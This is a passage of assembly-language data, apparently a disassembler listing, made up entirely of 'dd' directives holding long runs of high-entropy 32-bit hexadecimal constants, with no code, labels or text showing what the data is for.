		dd 91239E42h, 0BAC11999h, 0E6F6457Dh, 0DA9D20EBh, 56817ED8h
		dd 614B6D7Ch, 0F49E3270h, 0D3A378DBh, 0D6F3B3Bh, 2370F1A5h
		dd 0C4F00AC8h, 167A45F8h, 4BDF0D50h, 0DDA4484h,	0A222F9E0h
		dd 0EE658356h, 19D60E5Ah, 942D21F2h, 251290B4h,	7EE0395Eh
		dd 766018D7h, 88A520D8h, 0FBA02534h, 7709AF8Fh,	95460FB6h
		dd 32149DE2h, 8BDE6FFBh, 0A65198E3h, 21EC82CEh,	56A969B0h
		dd 0F86252DDh, 0B785A2B6h, 0F0C32858h, 14065F67h, 2E2D6CF8h
		dd 0DDECA739h, 0A23CDDFFh, 8627DABEh, 0F2A64466h, 610BA55Ch
		dd 0EAF20042h, 0CA3E1A19h, 1B5CB8D0h, 7A577904h, 434A1E9Eh
		dd 0C79F3461h, 0B25D1A22h, 0AAF06EB3h, 2AA40097h, 0F61577F8h
		dd 16D6C72h, 933D3495h,	10DC86CCh, 0CCC3F5AAh, 0E58B7B9Fh
		dd 0DD692D97h, 0BACAD81Eh, 0B85FDB7Bh, 146081FCh, 4866120Eh
		dd 0C619D19Ah, 43A59D12h, 0ACADEAF1h, 665AE0CDh, 9CBABE10h
		dd 3A2A3A61h, 63C61988h, 82A560F6h, 0FC53E958h,	245ECB57h
		dd 505B96CBh, 5AD34860h, 9EB7E1F7h, 24DFDBh, 0AD86D871h
		dd 95090F34h, 5310A9B9h, 0C526AE80h, 0EAAB63DDh, 0DF74748Dh
		dd 32DC191Ch, 15289200h, 0D516B2Eh, 7A7AA91h, 0E0AC08E9h
		dd 0B3FC2AA1h, 0FF09F6E3h, 4C9A7AEBh, 19CA47DEh, 0A3F4B71Ah
		dd 69CE8106h, 0E59CC3D9h, 0F39E4D6Dh, 3D91967h,	355BDF68h
		dd 4041EBA3h, 77073902h, 9C8149F8h, 65FD0BEh, 140C8833h
		dd 0F2B10715h, 436B4C94h, 90980C75h, 75D427DCh,	0F2101A91h
		dd 0C831CB88h, 59CA5A8Bh, 0B06FC5F2h, 60B35B76h, 0B822055Fh
		dd 9D471299h, 23D1EB22h, 0BA8A57BEh, 47C02704h,	0DE732A40h
		dd 799C16E9h, 3B420FC7h, 0B5613DDBh, 3230F2E4h,	0B75DA25h
		dd 0FCE79672h, 951E479Ah
		dd 0A0C0F5A1h, 86D111CFh, 0E23E6E8Ch, 13A1314Dh, 0EF81C2Ah
		dd 0F130A005h, 6EEBE268h, 0DD89ECBFh, 5C41B54Ch, 0A519E350h
		dd 493C32A8h, 0BEA87D40h, 9CC06C06h, 0CD29F2D4h, 843DDC73h
		dd 2C1BEED1h, 0A1221F8Ah, 0AA12958Eh, 0CF6CBAD3h, 4BF4C110h
		dd 1257802Fh, 494C947Eh, 0E12C84CEh, 3B533083h,	887326C7h
		dd 3DD97F35h, 453C7026h, 6792BFE7h, 581B57DEh, 0D1B11062h
		dd 0D0A874E5h, 5B3A97F0h, 8509AADDh, 0E36C7AB4h, 8A90366Fh
		dd 0F81A72A4h, 0BCECBEABh, 0F4668513h, 796E3C3Bh, 0FF77F438h
		dd 0B3D7487Ah, 306260E3h, 3B3988FDh, 750FA449h,	51FD1A9Ch
		dd 0EAB7AD83h, 553E5CF9h, 0F55DDDE0h, 6CEA3DB8h, 0DAE9DA60h
		dd 0D1E4B0AFh, 6CADB211h, 0D8EF8686h, 53770705h, 0EA752C9Bh
		dd 6FA24896h, 0BF20E9B5h, 0D1FCC86Bh, 0D2FFD523h, 25C2B510h
		dd 0ECE6DEB3h, 3E715C50h, 5F50F296h, 0FC21109Ah, 0B73F5F72h
		dd 96D9799Dh, 0B3050470h, 0E37F3C35h, 7B3486E3h, 0ED7A733h
		dd 4BAEB4E5h, 0D39D2399h, 0B4C7BA94h, 0ACDAE789h, 49166227h
		dd 0DE4B8567h, 0C351699Fh, 0B34EFCA4h, 0A76537BBh, 0C3B8AF82h
		dd 0E6DF86F0h, 5D53F70Dh, 0CE6F816Dh, 5A60490Bh, 93303DD4h
		dd 0F5152216h, 1C87FD6Dh, 4B75C794h, 0B754D639h, 1A8000F8h
		dd 97E746B1h, 815602B5h, 50FB4C61h, 0B5A7EE0Ah,	9B667A6Bh
		dd 6B83F7F9h, 6E31267Dh, 88115B22h, 1AC747AEh, 0CF679D24h
		dd 267BC804h, 5486F95Eh, 38A041F1h, 34618357h, 9144BDF9h
		dd 0FB3B1BF0h, 538A1F5Eh, 54F19B70h, 25BD2A5Fh,	0F5B0D9A8h
		dd 5BDE4A51h, 0E296049Dh, 8C252779h, 7519D32Ah,	936F4394h
		dd 2B46CB46h, 0E286E4Dh, 14B9C052h, 71FDF286h, 8A702EC2h
		dd 0D702FDABh, 279BEED1h, 933EFC33h, 4D7CDA13h,	7D38CC9Ch
		dd 526A0745h, 2A4DC78Eh, 96121890h, 0C1699388h,	0CA669BC1h
		dd 0D0DA9A74h, 0BC5D74Ah, 0D00165B8h, 5AD7DC6Ch, 0C4790B2Eh
		dd 0E22248E0h, 0B70A8EA1h, 15FA6CB6h, 0E1705190h, 0CA681503h
		dd 7A9DEB1Bh, 0FCEC051Dh, 96C90640h, 45C71C30h,	0F4DF2A84h
		dd 47D2DD32h, 0C840DCF0h, 0A752FD71h, 0E726127Fh, 70708397h
		dd 0CBF11B5h, 0A7CEF64Bh, 52097EA4h, 4A87DE83h,	7ACB264Bh
		dd 835241D4h, 24396B0Eh, 4DE055C8h, 7B3A1B36h, 0E9AB428Eh
		dd 0BF18BF9Ch, 346AFFCDh, 0F4F31DF7h, 0D3C15093h, 1A1B1CC8h
		dd 0D6CC654Dh, 7671AF9h, 17ABDA4Bh, 720549EDh, 0AB0F2107h
		dd 0E05542A8h, 0A581D43Ch, 98BFC5C6h, 5A445748h, 0F8F3702h
		dd 0DB187461h, 0EB5ECFCAh, 0B7A9AC7Dh, 0C1425CD7h, 27055259h
		dd 431E40F1h, 1585D489h, 4C5C429h, 29ACB24Bh, 40CF91FBh
		dd 3890A732h, 5B14C874h, 0B3EE3CF8h, 0A2BA8BDBh, 0E9691049h
		dd 0B174177Dh, 276CB9Ah, 8895A48h, 0B84E63CAh, 5B662D27h
		dd 0AF33DFC4h, 0BF0C3B1Fh, 35D48139h, 0AB3D196Fh, 7F9D1D71h
		dd 51A953Eh, 5E2FD806h,	3205CDA9h, 0A9340CF3h, 8E7482F4h
		dd 0E57964C2h, 306963Eh, 525E1463h, 0D7B9040Eh,	6212A55Eh
		dd 5FA94E2Eh, 0F9310C23h, 0D063255Fh, 0D6AA69D1h, 0DF6FA93h
		dd 953C8B5Fh, 0C1A291EBh, 8F8B8189h, 8818E052h,	27A9CA0Eh
		dd 0A0FFBE0Eh, 0E83E3FD4h, 0C234AE36h, 0B3F9545Bh, 69F852A1h
		dd 0D5241805h, 0FDA1510h, 647C95D1h, 0E4612C8Ch, 9D37EDC4h
		dd 50EB41DCh, 0BADAAE7Dh, 8D911B70h, 1477C925h,	0EB1E6575h
		dd 0C5762819h, 58EC0C76h, 20C0FB7Dh, 0CD6AA717h, 0BA2E7BF1h
		dd 0AE624A1Ch, 65A0E8D4h, 0CEAEA99h, 9D2DAB61h,	31DF9E9h
		dd 0B4FCD97Dh, 3D6DDEAEh, 9B24DACDh, 20BCD824h,	0D3833D99h
		dd 204E8E30h, 2284AF41h, 964B2D3Eh, 0EF99DC77h,	951B77D3h
		dd 2DD42AC2h, 1A34E8B6h, 7180CB1Bh, 417536DEh, 0CEB72A37h
		dd 0AB804F3Fh, 0FEF67BEEh, 184A5927h, 0E5E17AC9h, 0EAB53D1Eh
		dd 1CFA6D40h, 9075795Eh, 47E83F46h, 43A52B45h, 4DFF2B1Dh
		dd 736268BDh, 2E75306Ah, 3560A606h, 21DE6569h, 40D4AA97h
		dd 0C1C152DCh, 294EB319h, 560593BCh, 0FDDDED04h, 818F0C22h
		dd 0C6ADD5Dh, 303C8342h, 5F8EE63Dh, 9EDC3CB5h, 424FCB67h
		dd 8FC0A449h, 0DCECF75Dh, 0D30D5245h, 14D7CC9Eh, 0DBF63E35h
		dd 0BCA1947Dh, 2B131B51h, 0C3A6332Dh, 0A98940D5h, 58A76D7Fh
		dd 0D4818DCEh, 3C37F469h, 7373AF85h, 16F6B8E4h,	6BF6FCD4h
		dd 0BB941C8Ch, 64FB0533h, 0AD89CEA6h, 0BB3B23D0h, 4CA57757h
		dd 8F3D114Eh, 3EA74DFAh, 8746DDB9h, 9F9619h, 0EB9097C3h
		dd 1D99BCF8h, 364D8908h, 58FECD23h, 1B47B7B4h, 0F554A8A1h
		dd 0A6E5D4E4h, 0F99607C2h, 7585D0FDh, 0CA013715h, 0E4D74109h
		dd 614E8D84h, 0D966BBFEh, 39005A1Eh, 5FAB9628h,	0E80322F8h
		dd 4A33E169h, 0B9C2F2EEh, 0FCB6152Bh, 0A2C32113h, 0FC22F926h
		dd 0C65D893Eh, 0B7FB37B0h, 0E45E9DECh, 692D5FCCh, 0B6662E95h
		dd 7C38E522h, 77CECEAAh, 6485AD12h, 73DE695Fh, 3FE4E9AAh
		dd 0B33C3030h, 0F66DAE7Ah, 47DC9589h, 0BAADE358h, 0BB80270h
		dd 9E34AE56h, 8231204Eh, 7413468Ch, 4D451D64h, 542BB155h
		dd 3FCEEE02h, 6CF75A60h, 68AC704h, 0B20BF514h, 0B7B6B54Ah
		dd 0B3B3B6F1h, 9B98C38Ch, 8E49A6DFh, 890F5C5Eh,	89A2FE8Ah
		dd 0B3A04B66h, 0A389C2A2h, 0CA765174h, 430E133Bh, 5AC7A263h
		dd 8AD476D9h, 5D6DFEAEh, 0D96D1656h, 0F55461F3h, 4680C5Fh
		dd 7E3705ACh, 45198722h, 0AA004B94h, 0ADD9DF32h, 4B523667h
		dd 835760C6h, 0FF743C1h, 16E104D1h, 2C618956h, 0D6A47DFBh
		dd 890ED6ABh, 0D15AAF1Bh, 5DD55A0Eh, 5EF5617Bh,	0E096A6A4h
		dd 0ADB5B797h, 0AB8A2BCEh, 5BE711C3h, 18FBC75Ch, 0CBB56AEAh
		dd 0E22FB5A2h, 785A801h, 0CC8C3A1Dh, 4F752F28h,	0BDA8822Bh
		dd 0A73DDEEAh, 27E586D7h, 9DA1D8F0h, 5FD3441Bh,	568D8B33h
		dd 0A20D992Bh, 8211F48h, 26D06593h, 0C213EAD3h,	0C6D6C7E6h
		dd 0F86D423Ch, 73411619h, 60FC2E51h, 1C22C349h,	1B520394h
		dd 4F6541C9h, 0E8FBD9BAh, 4100699Ch, 36E6EA10h,	0CA15D702h
		dd 0ED2707F4h, 9DB4BEA3h, 941FB2D5h, 90D99F10h,	0F5E9F74Ch
		dd 0B1F0BC21h, 89FAACC2h, 0B9DA17B5h, 432A7573h, 4BA9E143h
		dd 780F996Eh, 87540D33h, 10769543h, 16B8Ah, 0D1107505h
		dd 866FA5D3h, 7C8E7A25h, 0BD6E01B9h, 1C5BD7Dh, 5CFBE26Eh
		dd 9843428Bh, 0EACB88EDh, 0C0E07145h, 39CF31h, 6CD0C66Eh
		dd 6E7E489Bh, 112A7A29h, 999AFBE3h, 8876EAAh, 0F021105Dh
		dd 0B1F157CEh, 0C7E86971h, 69BEAD6Fh, 54B38978h, 0AA14F60Ah
		dd 3F19E0EFh, 0E497DFE7h, 13BF45E9h, 0C4449F85h, 0E1B5AAFAh
		dd 4339E104h, 0FFA96F2Fh, 0FC91E3CBh, 0E5565959h, 169203A8h
		dd 0C0BF4EBBh, 0E79F2659h, 81B307F2h, 692017BDh, 8AE375A5h
		dd 60417035h, 76C2E654h, 37F3E040h, 0FD870C48h,	4A0D1ECBh
		dd 46BD2063h, 908EBADCh, 0C387A406h, 0BC6B6E67h, 0D173FE78h
		dd 86558DC3h, 0A8DBEE4Ah, 78D15CD8h, 8B1C69CAh,	8EAEFE09h
		dd 0B2CE46ADh, 7429342Fh, 7D13720Eh, 0F47258C3h, 6708B3EBh
		dd 9C3DFA51h, 9493A799h, 0D27A8FC7h, 824D64E3h,	7C571D6Dh
		dd 9158E1EDh, 0C6FFF86Bh, 8F9CFD91h, 0C6F073F9h, 0EC50923Dh
		dd 91A8E496h, 0F0F69E85h, 325437F8h, 55D028E5h,	816A36B5h
		dd 9F76EA37h, 0F73F1F69h, 25AAA898h, 0BA63679h,	0EDDAA557h
		dd 538E2E71h, 864E3CD3h, 0BD00224Eh, 0ED636627h, 0ED9A7EC4h
		dd 7EDDE5ACh, 0B4DA80F2h
		dd 0A8EE9BB4h, 0B334CAE0h, 0ECE5944Ch, 0E0926738h, 0D56C3EDh
		dd 0CA94790Dh, 6CC2829Ah, 0F39DEDC4h, 0B99B9EC0h, 0D771F57Ah
		dd 207F496h, 146B6D0Ah,	0AA5CE982h, 0F2A6A958h,	0FD8751FFh
		dd 8AC83981h, 75420ED7h, 72BD0708h, 0F10E5D2Ch,	0EA74288Dh
		dd 783F34E2h, 0D1D7E3F1h, 28FB8D7Fh, 0D3F31397h, 0A56F13B7h
		dd 507E2378h, 831CC8B8h, 24B0750h, 0FCF3C3Ah, 0EE2551E3h
		dd 0F73D6662h, 8B3E67DAh, 3129C197h, 0B66CE230h, 0BDCB18F8h
		dd 727EB5FFh, 6FECAF2Dh, 43464165h, 0E747F51Eh,	1C192798h
		dd 6266ADA9h, 6CD126C9h, 0FCE986CCh, 4B879684h,	0E12B1518h
		dd 0DF3B0F60h, 0AE789EABh, 4753185Eh, 462EB251h, 9CB2ECE7h
		dd 1A4BE0ADh, 0F4C27A29h, 0C915D205h, 0E45BF0F2h, 79EF0395h
		dd 0A5762FFFh, 27924F76h, 6419F714h, 0E1F52AC9h, 0D4EB32Bh
		dd 96D2B67Fh, 0EF5E10E0h, 0EB4669E4h, 8510E1F2h, 1EC02504h
		dd 5161246h, 644923D5h,	99ABC6E6h, 66372325h, 221D0947h
		dd 54B7AD95h, 4FE21981h, 0ECD7C846h, 0D69E2F1h,	0E4F405B2h
		dd 0E88F2485h, 5004FD39h, 6563F04Ch, 341114EFh,	298770D9h
		dd 9AF4EE0Bh, 0B769BEBDh, 6A5CC4CBh, 76DA3729h,	0B19B4A9Ch
		dd 89B322F9h, 905B4BEh,	6070316Bh, 0C5035DFh, 0FBC4ACAEh
		dd 0BB5EBFAEh, 0D9FC73DDh, 533C3E8Ah, 4D0A645h,	0C21AC02Ch
		dd 6B710AF4h, 9F072FADh, 490414ACh, 45BF7413h, 103FDCD2h
		dd 381E2532h, 31C09641h, 0B67011DEh, 953B9A4Ah,	3D34CF39h
		dd 0D28A8A63h, 66413531h, 0BD5368D2h, 8F15C10Ch, 0B9E1DA1Fh
		dd 0FCC8344Bh, 0E3A31821h, 0D89FF8C9h, 0BEB15EBh, 0C6F837CBh
		dd 915B7269h, 1B7B6BBBh, 2B8D2342h, 38186EBAh, 0FE20DBF6h
		dd 3420337Ah, 29BDB02Eh, 9E3F5DBFh, 778B9DB7h, 0B8142F85h
		dd 0E733FFAh, 4DBFB9FDh, 0D9B3AA9Ah, 0F7510843h, 58E6D423h
		dd 0CE84B26h, 0B08F5C4Ah, 6D8C8A4Fh, 0C77F61EAh, 5C7AE8Fh
		dd 18239FEAh, 68ACFB6Fh, 86D9EB04h, 5E6B1117h, 859F0E5Ch
		dd 97946D16h, 900493E1h, 0DAA230F4h, 0CB2CC0C6h, 4935E3C6h
		dd 0AFA4F6BDh, 0EC728371h, 0B2571C1Ah, 22ADE8B7h, 0E7FA4AEFh
		dd 21BD8044h, 4D499F0h,	57B8F126h, 22591321h, 0D2D942C1h
		dd 7CD49A2Bh, 54853F6Ah, 5C807299h, 1B3D597Fh, 3EE4F1BFh
		dd 0EBB2535Fh, 4B6F4717h, 4EFD269Ch, 0DDD2D5ADh, 1903711Ah
		dd 0E1766403h, 4C5517AAh, 5EB72D9Bh, 238DCB54h,	3D24D418h
		dd 9AC7390Eh, 9CBCA336h, 0B89311DDh, 528ADD71h,	85F2D6BEh
		dd 0DB912059h, 24644348h, 81A42328h, 4C79580Fh,	3E4F14A9h
		dd 8FB6EB4Ch, 0F71BA17Ch, 0CCDC23E9h, 5C2288D0h, 53488AECh
		dd 40E1EB62h, 0FB5A1C01h, 68397650h, 6F4B9967h,	0BDE6A758h
		dd 6156EDA5h, 0AD29A2AEh, 0A9C762A8h, 2E16290Fh, 48C14274h
		dd 0AF80F15Fh, 0E202C850h, 2CE0911Dh, 9C5330A0h, 9E302D2Ah
		dd 26851FDDh, 5D27810h,	2326F421h, 0B188518Bh, 0FF7ED0FAh
		dd 0F64A991Fh, 62487F7Dh, 0DD9B00F2h, 0FBBC18CEh, 7E9E098Eh
		dd 85265ABh, 3E2311A2h,	861567AEh, 1F2C25A6h, 9FD52D2Eh
		dd 0EBA48847h, 0CF2351C7h, 7AD419FFh, 0BB66286Fh, 9627660Ch
		dd 4A1C1634h, 11FA7200h, 6451CB9Eh, 0F6FEE860h,	1FAA488Fh
		dd 0E8B57005h, 0A381E796h, 0B6CF2357h, 93E1DA63h, 2447B098h
		dd 0A9789CF1h, 0AAF06284h, 0E4D8E2C4h, 9985C302h, 99ADAFD9h
		dd 0CDFFB71Fh, 8BAD2F5Dh, 580F464Eh, 0CA53537Eh, 0E70D1731h
		dd 0C43E2BEAh, 0A0150885h, 0AFE88FC0h, 8D149C53h, 32D8C71Fh
		dd 0B340FAAAh, 9ED580E1h, 5EE3ABDDh, 8F05002h, 0B96CE36Ch
		dd 6C5D4584h, 8B3D7F16h, 0DBBC539Ch, 65777D24h,	0F3B2E4A3h
		dd 77359D72h, 58A552FDh, 31FD77C8h, 0E3307629h,	0D251873h
		dd 0C3A3D3C1h, 0DE18D823h, 0F0A27B91h, 0A2E3BB1Fh, 395AFD4Bh
		dd 0F4705B8Eh, 119B2D7Ch, 0CBF3C9FFh, 0C499F8CBh, 0CED461D9h
		dd 91EE9505h, 0D272FD3h, 3F170F2Ch, 598D68A4h, 127BB7D9h
		dd 61E32B97h, 69A8CEC8h, 78777F55h, 72CE8CBAh, 6EA3A42Eh
		dd 1436AEBBh, 933F46DDh, 0E0817A5Eh, 90D65988h,	0FFF5FF30h
		dd 0B8374FD2h, 7FA64D2Ah, 0A7878AD7h, 0B6EB8C9Ch, 1F620B1Ah
		dd 7ACD6DA6h, 0F9B4D5E2h, 41E1B9D7h, 1902EBB9h,	0C40D1A4Eh
		dd 6F78053Fh, 696BCA2Ch, 5125C9CCh, 5ADA8CF0h, 0A002DD16h
		dd 35B0B18Eh, 43484CBCh, 20AA5BF0h, 411B3D35h, 17CE39EBh
		dd 0EC34DC03h, 0D32D126Bh, 209311D1h, 43AB0E33h, 0A822D65Dh
		dd 0E5D832Dh, 643A1660h, 0E4A98B69h, 0DA0CB5C3h, 44E87E0h
		dd 43C3EB73h, 0CEA017E2h, 3366FBD1h, 64452FF7h,	17DB17A1h
		dd 145B997Ch, 22F5EEBDh, 540C7BC5h, 11F93D88h, 0C8F6292Ah
		dd 5C96D365h, 1F35820Ch, 431903D1h, 40F48C4Eh, 9A976CBDh
		dd 4D579A5Bh, 0D58CEB4Fh, 0E73DB17Bh, 9237ECC7h, 0A2FCDA50h
		dd 0D6CA74Fh, 0DCB6F6B9h, 0C77F2666h, 0D6F25F4Eh, 0CD8FF126h
		dd 0B953CC3Fh, 1FCF8135h, 8D698541h, 49409E3Dh,	116EB5DFh
		dd 0DD4BE5E3h, 9030C04Bh, 6EA2EBEFh, 99374740h,	2FC112D4h
		dd 66D1ED68h, 0E16343A6h, 0C4A413ACh, 48B7B7A4h, 0F3465AC2h
		dd 1948459Dh, 39A125C8h, 0C2C9ABBEh, 0E2A2B26Eh, 0A5B4A4Bh
		dd 0C2E14910h, 0AC6EB7BCh, 25D06BE9h, 985B6C1Bh, 0D9F68430h
		dd 737FE2FFh, 875200B8h, 0A8D964E7h, 2F7C2699h,	0CE15A8AAh
		dd 8684DBCAh, 0EA7A0B6Dh, 951BDA30h, 1DB7B07Ah,	1BEEC0DAh
		dd 0DCB8190h, 5B02904h,	9BF7805h, 7EE6FA9Dh, 450F504h
		dd 8E1B558Bh, 0C77743B0h, 3F29601Bh, 3D5A6326h,	0E5F7149Fh
		dd 7466053Dh, 2EDC7DE1h, 11416E89h, 135A1625h, 2EBD1262h
		dd 2F177002h, 0CCAA9A89h, 0BE514900h, 0C84B3CE1h, 81E53B98h
		dd 0A3C0DC88h, 7845F6FBh, 0C419A098h, 0B77E47F7h, 0C4021384h
		dd 778787Fh, 0F7AC0CD5h, 3F2A56F3h, 8D0B185Fh, 9BA568A6h
		dd 0D03BED89h, 0E15CF7F6h, 0D6703B0Fh, 32DEAF72h, 0A108B7D3h
		dd 84CB5D52h, 5EC3C303h, 0AB743C87h, 1CC0B39h, 694455D4h
		dd 0FB53B275h, 4E22940h, 0BD152471h, 5361E0D9h,	3836E89Eh
		dd 877F8599h, 0DF6F2659h, 0CEEB814h, 0E2D628CBh, 9A5F1549h
		dd 0F54B6A0h, 9FBD2D38h, 78D2E2C9h, 0EB663EDBh,	35EFE7Ch
		dd 6A3C3654h, 588A70B0h, 18CB9CF1h, 44B821C3h, 70826h
		dd 0D9BBD265h, 8BEEF7EDh, 0D8F579A4h, 0B936D4A3h, 0DA42FEDAh
		dd 5B169EEAh, 0A22C30F5h, 0FAF8D97Ch, 0B1AEE9D0h, 0A1CD5826h
		dd 41FE9DF4h, 5EE3F95Ch, 76624E7Ah, 70EFA881h, 6C80A1Bh
		dd 107FB7EAh, 81133DC2h, 0B3294921h, 0ED91091Dh, 0C18E52AEh
		dd 0D5A118D4h, 0A4EEEA32h, 0F9582A28h, 0B70B811Dh, 84953909h
		dd 339A4E5Ah, 25E029BBh, 0A430D87Ch, 3FAB0574h,	9B3E09C3h
		dd 0AA169737h, 74457192h, 1A235147h, 1B141576h,	8AD2812Ah
		dd 741E71C2h, 3BC2E382h, 0EDB9DA1Ah, 2334F0BDh,	32597B58h
		dd 0F5DB5146h, 4CE4BE2h, 947B1A76h, 3963F1A4h, 40C32010h
		dd 3D3751E1h, 0F0E21C0h, 29A615FDh, 179F4D75h, 0D0B5A164h
		dd 0E234DD26h, 6D633E8Ah, 0E399B91Bh, 602DFB2h,	0C71FE70Fh
		dd 457FB99Ch, 0B0029BE5h, 5EB78FF1h, 5160B437h,	0A76C759Eh
		dd 0B30DAB59h, 85C8FDFFh, 47D93450h, 0EB431C99h, 12DC7A9Eh
		dd 324A13Ah, 0B759985h,	3E3DCF8h, 4A24F1B7h, 0BFD79600h
		dd 435208B0h, 37BD4019h, 8E41BF0Eh, 0D6885082h,	0C860E925h
		dd 5D7B5D1Fh, 0FF9CFDCCh
		dd 1D1406B6h, 9FCB86CEh, 0AFD5D626h, 3CC90E3h, 60D06BCCh
		dd 4A0CDBDDh, 3F84D057h, 78E0F296h, 8B11AF90h, 21A4FBDBh
		dd 0AAF84FE9h, 26874615h, 4CB2734Bh, 918055D1h,	72967FE5h
		dd 0B8FC53D7h, 0F1A8D273h, 47A4E999h, 996378Dh,	7D3AD193h
		dd 0D549AA7h, 0BE9C7185h, 0BBE3E708h, 0D5FEA2FBh, 9B1362B5h
		dd 4FCB9CB3h, 7263848Fh, 0A6676A4Dh, 0E9604330h, 27D00575h
		dd 0ECC2533Eh, 33C104A8h, 807FF144h, 6DEFB47h, 1C5B75BFh
		dd 0EF63A4Fh, 0A2A0B725h, 43E0E188h, 0A7ECA9D3h, 8AC14E4Ch
		dd 14B4BA73h, 63C43BA8h, 116920C2h, 8C2F5267h, 65CDF6DBh
		dd 0D4C7573Bh, 0B6106D72h, 0D7238EB4h, 78BE7D5Dh, 0EB93F150h
		dd 0B417F892h, 96D14CE3h, 0E5F25664h, 6D8D3B64h, 0C1B1A92Dh
		dd 0FF5305A9h, 0E7C0469Fh, 0FDD8D78Fh, 10AEDCEDh, 8F109F36h
		dd 1F13828Bh, 10C2F660h, 11CC1F8Bh, 4488F57h, 0D2248B72h
		dd 5E45205Ah, 51E0B2A1h, 5874DFF1h, 91394E43h, 50AB3B23h
		dd 583A4B0Dh, 245923C1h, 0D4339DA5h, 0D105233Ch, 0A461E68Dh
		dd 8D1FAC4Ah, 3406B403h, 1A323972h, 15E4D79Dh, 0B6269E01h
		dd 0BD764C73h, 3EA8E959h, 0C77F4011h, 7D9292DFh, 35A56A10h
		dd 0AAF7C275h, 2503400Eh, 0A8BC3665h, 4193EE76h, 20A48B2Ah
		dd 63382CEBh, 99CEC58Fh, 0CDD114E8h, 6C81704Dh,	8726130Ah
		dd 6FE743CCh, 0B579AECh, 0C16AE591h, 0B31EA51Fh, 2D56AA2Eh
		dd 0C3730E1Ch, 0AE3DFF6Dh, 680E80CFh, 351A9FEFh, 727411A8h
		dd 8517DC7Ch, 57653F0h,	86B6F005h, 7976E722h, 0D217BD81h
		dd 7556C424h, 18D25849h, 655D0D1Ch, 0DDE63A09h,	48EC4DEDh
		dd 31C4BA4Fh, 62DC9CFFh, 0CCF4C359h, 0E7A4A53Ah, 0F4541840h
		dd 2B83703Ch, 38B68650h, 8BF07373h, 8181DB1Dh, 823ED089h
		dd 4C398D29h, 34DC82F1h, 0AAC33673h, 9D7B8E27h,	8922B9E9h
		dd 92545C11h, 0A8E1DCDDh, 0A96C043Eh, 9E8822F8h, 5BBD639Dh
		dd 0E44BEDC2h, 42BFA26Ah, 214F35E4h, 44E15623h,	0D46623F3h
		dd 0F5221ADDh, 3BC7E20Fh, 408D01D9h, 6451C22Ah,	0AAEE5A83h
		dd 82A1F13Dh, 88D6DE93h, 0F9866D92h, 8CA0712Fh,	0A71E8B2Ah
		dd 0ADA9E619h, 0EF009742h, 14C35994h, 8EF4822Fh, 5D831606h
		dd 91FD6942h, 39F9CEE4h, 0DC6CE460h, 84AEE5F2h,	344770ACh
		dd 78503EB2h, 0D7AE394Ch, 5E107881h, 0C435B5Ah,	95799B46h
		dd 525543E5h, 31CDACB8h, 0D3B4308Dh, 0F00EA403h, 0FBF5DE92h
		dd 466BD8B9h, 8CED070Fh, 93D64ED8h, 0B22F6630h,	4B7C7653h
		dd 0B53F5BC7h, 5E31EC4Dh, 44672B2h, 704F1B95h, 4487B055h
		dd 0ECC36CC3h, 0E0678416h, 0FBBDD0DCh, 72ED38B0h, 0E27C40E9h
		dd 234D2BD2h, 0F09111F5h, 0A952BFDAh, 9668A52Dh, 0A4ED9E2Dh
		dd 0A5FF227Dh, 0AD028541h, 697ABE46h, 246C1E98h, 39A62F48h
		dd 1C148AB7h, 3986CA44h, 90B77A86h, 585A24A2h, 649F4C86h
		dd 0EAC7AF36h, 6C462C7Eh, 0B21EA53Bh, 0EE6F720Ch, 11E8706Dh
		dd 2A8EE7B4h, 597F853Eh, 8DF4B5E4h, 0AC8064BBh,	0F2DE66ECh
		dd 85E72D61h, 0ABB55A8Eh, 0F8D8A407h, 28586240h, 1A730722h
		dd 6B72BAA3h, 56787E9Bh, 0ABDBE0EDh, 29186763h,	49BD90E8h
		dd 0A6C7B8CCh, 0E68885C4h, 0F1057DFBh, 8AD3F775h, 0CD4F9E85h
		dd 30A40098h, 0EEE91FB5h, 0EA221169h, 0DB92A7A0h, 9E4DF7AAh
		dd 37588207h, 0FE8B6BFEh, 18A996C6h, 3B044620h,	86893A82h
		dd 5F47560Eh, 989FF13h,	0D213400h, 0AD3CE11Eh, 0B46FB50Fh
		dd 59528929h, 930468DBh, 31C53D56h, 453BFFBDh, 9A79F6D3h
		dd 715C0BD0h, 8764EE59h, 0A9991CEh, 36493893h, 0B77FE741h
		dd 198BCCD7h, 0F26D6F39h, 0FAEEF281h, 8DAC271Bh, 0A3539637h
		dd 0FFB1BBD1h, 0A40D7484h, 0EF63750Ah, 67C965BDh, 2C49DACBh
		dd 9E9C601h, 8B2F4879h,	5D408788h, 0F8360183h, 51D7D15h
		dd 272E80DAh, 4383CFD1h, 9EE1D6D3h, 33D65349h, 0D878FF7Dh
		dd 4A749B84h, 0E34BD1A8h, 0BB8F4882h, 0DADA7CE0h, 9171E5BBh
		dd 2E5C1869h, 662B2F47h, 281C799Ah, 44CD8543h, 0B5B6A7F6h
		dd 825E46AFh, 0E5EE05A0h, 1813B401h, 8AD62158h,	0DFD70E53h
		dd 0A877FDC4h, 0EEBA23DCh, 0EB7C9201h, 0B1A71C56h, 8B559CCh
		dd 4AE78B90h, 9397E97Bh, 0EFD805Eh, 5AFC30A7h, 255B4610h
		dd 0E29DA3B0h, 7D3CE791h, 0ECD0F5F3h, 3490AD0Ch, 0E7A6D792h
		dd 8A622D7Ah, 5F6F732Ch, 0F6689F4Dh, 171181D8h,	9FB2D019h
		dd 472CBB0Dh, 0A5453FDBh, 21E29032h, 0BA9D3981h, 0B83CA90h
		dd 134B8E9Fh, 0BD444325h, 0D639750Eh, 0C0EDD3F5h, 4AB440A2h
		dd 0AEDCC77Ah, 28075F96h, 4221CE9Fh, 0BB1DBEBEh, 0E2BF5470h
		dd 0D0E4B17Dh, 1ED03D4Ah, 0D4A58C9Dh, 0DEC1F4EBh, 1E43EC16h
		dd 8827FDBBh, 33D649EDh, 7765766h, 40F5ADEh, 0EEE5BDD1h
		dd 0CACFA8FAh, 0DD7F9806h, 3B8370DDh, 0AD23BB71h, 0B9B5B202h
		dd 1DF7B785h, 9ABFC405h, 0C85DCED5h, 93A11384h,	0B46838D1h
		dd 0DD18C3F6h, 68BE2D2h, 9F9BDA03h, 51594FD1h, 64D662F6h
		dd 0C8908D78h, 0FCEA133Eh, 2F49C4D8h, 0B72F8BCCh, 97EA8037h
		dd 0CC87B7FCh, 46E709DCh, 75D924A0h, 145FF7C5h,	8A957B40h
		dd 0B6777C10h, 7EDEE1Dh, 726D8FFDh, 7F249705h, 0AB5F4EBDh
		dd 5F65F262h, 0D40A212Fh, 51E20095h, 388DCF6Bh,	74D176FFh
